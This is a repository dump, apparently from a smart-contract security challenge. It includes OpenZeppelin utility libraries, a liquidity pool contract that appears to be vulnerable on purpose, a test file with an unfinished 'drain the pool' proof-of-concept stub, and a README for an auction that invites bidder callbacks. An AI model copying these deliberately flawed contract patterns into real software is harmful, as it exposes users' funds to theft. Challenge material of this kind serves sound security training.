* Largelly inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor].
*/
library BitMapsUpgradeable {
struct BitMap {
mapping(uint256 => uint256) _data;
}
/**
* @dev Returns whether the bit at `index` is set.
*/
function get(BitMap storage bitmap, uint256 index) internal view returns (bool) {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
return bitmap._data[bucket] & mask != 0;
}
/**
* @dev Sets the bit at `index` to the boolean `value`.
*/
function setTo(
BitMap storage bitmap,
uint256 index,
bool value
) internal {
if (value) {
set(bitmap, index);
} else {
unset(bitmap, index);
}
}
/**
* @dev Sets the bit at `index`.
*/
function set(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] |= mask;
}
/**
* @dev Unsets the bit at `index`.
*/
function unset(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] &= ~mask;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/structs/EnumerableMapUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableMap.sol)
pragma solidity ^0.8.0;
import "./EnumerableSetUpgradeable.sol";
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMapUpgradeable {
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set;
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct Map {
// Storage of keys
EnumerableSetUpgradeable.Bytes32Set _keys;
mapping(bytes32 => bytes32) _values;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
map._values[key] = value;
return map._keys.add(key);
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
delete map._values[key];
return map._keys.remove(key);
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._keys.contains(key);
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._keys.length();
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
bytes32 key = map._keys.at(index);
return (key, map._values[key]);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
bytes32 value = map._values[key];
if (value == bytes32(0)) {
return (_contains(map, key), bytes32(0));
} else {
return (true, value);
}
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), "EnumerableMap: nonexistent key");
return value;
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(
Map storage map,
bytes32 key,
string memory errorMessage
) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), errorMessage);
return value;
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
UintToAddressMap storage map,
uint256 key,
address value
) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(
UintToAddressMap storage map,
uint256 key,
string memory errorMessage
) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/structs/EnumerableSetUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat/env-artifacts.js
================================================
const { HardhatError } = require('hardhat/internal/core/errors');
extendEnvironment(env => {
const artifactsRequire = env.artifacts.require;
env.artifacts.require = (name) => {
for (const suffix of ['UpgradeableWithInit', 'Upgradeable', '']) {
try {
return artifactsRequire(name + suffix);
} catch (e) {
if (HardhatError.isHardhatError(e) && e.number === 700 && suffix !== '') {
continue;
} else {
throw e;
}
}
}
throw new Error('Unreachable');
};
});
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat/env-contract.js
================================================
extendEnvironment(env => {
const { contract } = env;
env.contract = function (name, body) {
// remove the default account from the accounts list used in tests, in order
// to protect tests against accidentally passing due to the contract
// deployer being used subsequently as function caller
contract(name, accounts => body(accounts.slice(1)));
};
});
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat/task-get-compiler-input.js
================================================
// adds storageLayout to solc outputSelection, necessary for storage gaps
const { internalTask } = require('hardhat/config');
const { TASK_COMPILE_SOLIDITY_GET_COMPILER_INPUT } = require('hardhat/builtin-tasks/task-names');
internalTask(TASK_COMPILE_SOLIDITY_GET_COMPILER_INPUT, async (args, bre, runSuper) => {
const input = await runSuper();
input.settings.outputSelection['*']['*'].push('storageLayout');
return input;
});
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat/task-test-get-files.js
================================================
// ignores the proxy tests
const { internalTask } = require('hardhat/config');
const { TASK_TEST_GET_TEST_FILES } = require('hardhat/builtin-tasks/task-names');
const glob = require('glob');
const path = require('path');
const { promisify } = require('util');
internalTask(TASK_TEST_GET_TEST_FILES)
.setAction(async ({ testFiles }, { config }) => {
if (testFiles.length !== 0) {
return testFiles;
}
return await promisify(glob)(
path.join(config.paths.tests, '**/*.js'),
{ ignore: [path.join(config.paths.tests, 'proxy/**/*')] },
);
});
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat.config.js
================================================
/// ENVVAR
// - CI: output gas report to file instead of stdout
// - COVERAGE: enable coverage report
// - ENABLE_GAS_REPORT: enable gas report
// - COMPILE_MODE: production modes enables optimizations (default: development)
// - COMPILE_VERSION: compiler version (default: 0.8.3)
// - COINMARKETCAP: coinmarkercat api key for USD value in gas report
const fs = require('fs');
const path = require('path');
const argv = require('yargs/yargs')()
.env('')
.options({
ci: {
type: 'boolean',
default: false,
},
coverage: {
type: 'boolean',
default: false,
},
gas: {
alias: 'enableGasReport',
type: 'boolean',
default: false,
},
mode: {
alias: 'compileMode',
type: 'string',
choices: [ 'production', 'development' ],
default: 'development',
},
compiler: {
alias: 'compileVersion',
type: 'string',
default: '0.8.3',
},
coinmarketcap: {
alias: 'coinmarketcapApiKey',
type: 'string',
},
})
.argv;
require('@nomiclabs/hardhat-truffle5');
if (argv.enableGasReport) {
require('hardhat-gas-reporter');
}
for (const f of fs.readdirSync(path.join(__dirname, 'hardhat'))) {
require(path.join(__dirname, 'hardhat', f));
}
const withOptimizations = argv.enableGasReport || argv.compileMode === 'production';
/**
* @type import('hardhat/config').HardhatUserConfig
*/
module.exports = {
solidity: {
version: argv.compiler,
settings: {
optimizer: {
enabled: withOptimizations,
runs: 200,
},
},
},
networks: {
hardhat: {
blockGasLimit: 10000000,
allowUnlimitedContractSize: !withOptimizations,
},
},
gasReporter: {
currency: 'USD',
outputFile: argv.ci ? 'gas-report.txt' : undefined,
coinmarketcap: argv.coinmarketcap,
},
};
if (argv.coverage) {
require('solidity-coverage');
module.exports.networks.hardhat.initialBaseFeePerGas = 0;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/migrations/.gitkeep
================================================
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/netlify.toml
================================================
[build]
command = "npm run docs"
publish = "build/site"
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/package.json
================================================
{
"private": true,
"name": "openzeppelin-solidity",
"description": "Secure Smart Contract library for Solidity",
"version": "4.4.2",
"files": [
"/contracts/**/*.sol",
"/build/contracts/*.json",
"!/contracts/mocks/**/*"
],
"bin": {
"openzeppelin-contracts-migrate-imports": "scripts/migrate-imports.js"
},
"scripts": {
"compile": "hardhat compile",
"coverage": "env COVERAGE=true hardhat coverage",
"docs": "oz-docs",
"docs:watch": "npm run docs watch contracts 'docs/*.hbs' docs/helpers.js",
"prepare-docs": "scripts/prepare-docs.sh",
"lint": "npm run lint:js && npm run lint:sol",
"lint:fix": "npm run lint:js:fix && npm run lint:sol:fix",
"lint:js": "eslint --ignore-path .gitignore .",
"lint:js:fix": "eslint --ignore-path .gitignore . --fix",
"lint:sol": "solhint 'contracts/**/*.sol' && prettier -c 'contracts/**/*.sol'",
"lint:sol:fix": "prettier --write \"contracts/**/*.sol\"",
"clean": "hardhat clean && rimraf build contracts/build",
"prepare": "npm run clean && env COMPILE_MODE=production npm run compile",
"prepack": "scripts/prepack.sh",
"release": "scripts/release/release.sh",
"version": "scripts/release/version.sh",
"test": "hardhat test",
"test:inheritance": "node scripts/inheritanceOrdering artifacts/build-info/*",
"gas-report": "env ENABLE_GAS_REPORT=true npm run test"
},
"repository": {
"type": "git",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts.git"
},
"keywords": [
"solidity",
"ethereum",
"smart",
"contracts",
"security",
"zeppelin"
],
"author": "OpenZeppelin Community ",
"license": "MIT",
"bugs": {
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/issues"
},
"homepage": "https://openzeppelin.com/contracts/",
"devDependencies": {
"@nomiclabs/hardhat-truffle5": "^2.0.0",
"@nomiclabs/hardhat-web3": "^2.0.0",
"@openzeppelin/docs-utils": "^0.1.0",
"@openzeppelin/test-helpers": "^0.5.13",
"@truffle/abi-utils": "^0.2.3",
"chai": "^4.2.0",
"eslint": "^6.5.1",
"eslint-config-standard": "^14.1.1",
"eslint-plugin-import": "^2.20.0",
"eslint-plugin-mocha-no-only": "^1.1.0",
"eslint-plugin-node": "^10.0.0",
"eslint-plugin-promise": "^4.2.1",
"eslint-plugin-standard": "^4.0.1",
"eth-sig-util": "^3.0.0",
"ethereumjs-util": "^7.0.7",
"ethereumjs-wallet": "^1.0.1",
"glob": "^7.2.0",
"graphlib": "^2.1.8",
"hardhat": "^2.0.6",
"hardhat-gas-reporter": "^1.0.4",
"keccak256": "^1.0.2",
"lodash.startcase": "^4.4.0",
"lodash.zip": "^4.2.0",
"merkletreejs": "^0.2.13",
"micromatch": "^4.0.2",
"prettier": "^2.3.0",
"prettier-plugin-solidity": "^1.0.0-beta.16",
"rimraf": "^3.0.2",
"semver": "^7.3.5",
"solhint": "^3.3.6",
"solidity-ast": "^0.4.25",
"solidity-coverage": "^0.7.11",
"solidity-docgen": "^0.5.3",
"web3": "^1.3.0",
"yargs": "^16.2.0"
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/renovate.json
================================================
{
"extends": [
"github>OpenZeppelin/code-style"
],
"packageRules": [
{
"extends": ["packages:eslint"],
"enabled": false
}
]
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/src/LipPool.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "openzeppelin-contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/security/ReentrancyGuard.sol";
import "openzeppelin-contracts-upgradeable/proxy/utils/Initializable.sol";
import "openzeppelin-contracts/token/ERC20/IERC20.sol";
import "openzeppelin-contracts/token/ERC20/utils/SafeERC20.sol";
contract LipPool is ERC20, ReentrancyGuard, Initializable {
using SafeERC20 for IERC20;
IERC20 a;
IERC20 b;
constructor(address a_, address b_) ERC20("LIP-LP", "LIP-LP"){
a = IERC20(a_);
b = IERC20(b_);
}
modifier checkInvarients() {
_;
// Ensure proportions can always be calculated.
require(totalSupply() > 1e18);
require(a.balanceOf(address(this)) > 1e18);
require(b.balanceOf(address(this)) > 1e18);
}
function initialize() external initializer nonReentrant checkInvarients {
_mint(msg.sender, 1e24);
a.safeTransferFrom(msg.sender, address(this), 1000 * 1e18);
b.safeTransferFrom(msg.sender, address(this), 10000 * 1e18);
}
function addLiquidity(uint256 amount) external nonReentrant checkInvarients {
uint256 factor = amount * 1e36 / totalSupply();
// 💖💖 YOU are AMAZING!!!! 💞✨
// 💖💖 YOU are the FUTURE!!!! 👩🔬🔬
// 💖💖 YOU are BEAUTIFUL!!!! 💋👸🏼
factor = factor * 107 / 100; // Reward early holders
uint256 aAmount = a.balanceOf(address(this)) * factor / 1e36;
uint256 bAmount = b.balanceOf(address(this)) * factor / 1e36;
_mint(msg.sender, amount);
a.safeTransferFrom(msg.sender, address(this), aAmount);
b.safeTransferFrom(msg.sender, address(this), bAmount);
}
function removeLiquidity(uint256 amount) external nonReentrant checkInvarients {
uint256 factor = amount * 1e36 / totalSupply();
uint256 aAmount = a.balanceOf(address(this)) * factor / 1e36;
uint256 bAmount = b.balanceOf(address(this)) * factor / 1e36;
_burn(msg.sender, amount);
a.safeTransfer(msg.sender, aAmount);
b.safeTransfer(msg.sender, bAmount);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/src/MockToken.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "openzeppelin-contracts/token/ERC20/ERC20.sol";
contract MockToken is ERC20 {
constructor(string memory name_, string memory symbol_) ERC20(name_,symbol_){}
function mintTo(address to, uint256 amount) external {
_mint(to, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/src/test/Contract.t.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "ds-test/test.sol";
import "../MockToken.sol";
import "../LipPool.sol";
contract ContractTest is DSTest {
MockToken a;
MockToken b;
LipPool pool;
PoolUser firstHolder;
PoolUser aviatrix;
PoolUser socialite;
PoolUser attacker;
function setUp() public {
a = new MockToken("LIP","LIP");
b = new MockToken("DAI","DAI");
pool = new LipPool(address(a), address(b));
firstHolder = new PoolUser(address(a), address(b));
firstHolder.initializePool(pool);
aviatrix = new PoolUser(address(a), address(b));
socialite = new PoolUser(address(a), address(b));
attacker = new PoolUser(address(a), address(b));
}
function testPOC() public{
uint256 amount = 1e24;
uint256 startingCash = 1e23;
a.mintTo(address(attacker), startingCash);
b.mintTo(address(attacker), startingCash);
// -----
// ** Insert hack transactions by attacker below: **
// -----
attacker.addLiquidity(pool, amount);
// ..?
// And afterwords:
// Pool should be be drained
// assertLt(a.balanceOf(address(pool)), 100 * 1e18, "Pool not drained");
// assertLt(b.balanceOf(address(pool)), 100 * 1e18, "Pool not drained");
// Attacker should have more than they started with
// assertGt(a.balanceOf(address(attacker)), startingCash, "Attacker should be richer");
// assertGt(b.balanceOf(address(attacker)), startingCash, "Attacker should be richer");
}
function testTestSetup() public {
assertEq(pool.totalSupply(), 1e24);
assertEq(pool.balanceOf(address(firstHolder)), 1e24);
assertEq(a.balanceOf(address(firstHolder)), 0);
assertEq(b.balanceOf(address(firstHolder)), 0);
}
function testFuzzAddingAndRemovingLiquidity(uint256 amount) public {
if(amount > 1e36){
return;
}
a.mintTo(address(aviatrix), 1e70);
b.mintTo(address(aviatrix), 1e70);
aviatrix.addLiquidity(pool, amount);
aviatrix.removeLiquidity(pool, amount);
// Adding then removing should aways lose money!
assertLt(a.balanceOf(address(aviatrix)), 1e70);
assertLt(b.balanceOf(address(aviatrix)), 1e70);
}
function testFuzzAddingAndRemovingLiquidityAtDifferentRatios(uint256 amount, uint256 extraA, uint256 extraB) public {
if(amount > 1e36){
return;
}
if(extraA > 1e36){
return;
}
if(extraB > 1e36){
return;
}
// First give the pool some amount of each token, to represent both profit and changing prices
a.mintTo(address(pool), extraA);
b.mintTo(address(pool), extraB);
// Give test user funds
a.mintTo(address(aviatrix), 1e70);
b.mintTo(address(aviatrix), 1e70);
// Add and remove
aviatrix.addLiquidity(pool, amount);
aviatrix.removeLiquidity(pool, amount);
// Adding then removing should aways lose money!
assertLt(a.balanceOf(address(aviatrix)), 1e70);
assertLt(b.balanceOf(address(aviatrix)), 1e70);
}
function testAddLiquidity() public {
a.mintTo(address(aviatrix), 2000 * 1e18);
b.mintTo(address(aviatrix), 20000 * 1e18);
aviatrix.addLiquidity(pool, 1e24);
assertEq(pool.balanceOf(address(aviatrix)), 1e24);
}
function testRemoveLiquidity() public {
a.mintTo(address(aviatrix), 2000 * 1e18);
b.mintTo(address(aviatrix), 20000 * 1e18);
aviatrix.addLiquidity(pool, 1e24);
assertEq(pool.balanceOf(address(aviatrix)), 1e24);
aviatrix.removeLiquidity(pool, 1e24);
assertEq(pool.balanceOf(address(aviatrix)), 0);
}
function testEarlyProfit() public {
a.mintTo(address(aviatrix), 2000 * 1e18);
b.mintTo(address(aviatrix), 20000 * 1e18);
a.mintTo(address(socialite), 4000 * 1e18);
b.mintTo(address(socialite), 40000 * 1e18);
aviatrix.addLiquidity(pool, 1e24);
socialite.addLiquidity(pool, 2e24);
aviatrix.removeLiquidity(pool, 1e24);
// Profit from being early
assertGt(a.balanceOf(address(aviatrix)), 2000 * 1e18);
assertGt(b.balanceOf(address(aviatrix)), 20000 * 1e18);
}
}
// Helper contract for tests
contract PoolUser{
MockToken a;
MockToken b;
constructor(address a_, address b_){
a = MockToken(a_);
b = MockToken(b_);
}
function approve(LipPool pool) public {
a.approve(address(pool), type(uint256).max);
b.approve(address(pool), type(uint256).max);
}
function addLiquidity(LipPool pool, uint256 amount) public {
approve(pool);
pool.addLiquidity(amount);
}
function removeLiquidity(LipPool pool, uint256 amount) public {
pool.approve(address(pool), type(uint256).max);
pool.removeLiquidity(amount);
}
function initializePool(LipPool pool) public {
approve(pool);
a.mintTo(address(this), 1000 * 1e18);
b.mintTo(address(this), 10000 * 1e18);
pool.initialize();
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/README
================================================
SuperAuction
------------
This is a simple NFT Auction. An NFT can be bought for ETH. Whenever a new highest bidder comes along the bid is split and sent to the previously highest bidder and their predecessor. If no bid has been made for a day, the auction ends. This simple auction has many great advantages:
- Almost everyone benefits: Even if you get outbid, you will receive a higher amount than you contributed.
- Only exception is the runner-up. Hence, nobody want's to be runner-up and the bidding keeps going!
This contract is designed for bots to outbid each other! Hence, the previous bidders receive callbacks with large gas allowances of 6 million each. That way they can directly counter a bid. We assume that gas is cheap, and so everyone is fine paying for these allowances and that the block gas limit is 30 million. Hence, two times 6 million is comfortably below the limit.
When funds are paid back the procedure is:
1. Try to call "youHaveBeenOutbid" function for previous bidder
2. Try to send ETH
3. If the previous bidder is unable to receive ETH, the ETH is donated.
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/foundry.toml
================================================
[default]
src = 'src'
out = 'out'
libs = ['lib']
remappings = [
'ds-test/=lib/ds-test/src/',
'ds-test/=lib/ds-test/src/',
]
# See more config options https://github.com/gakonst/foundry/tree/master/config
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/.gitignore
================================================
/.dapple
/build
/out
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
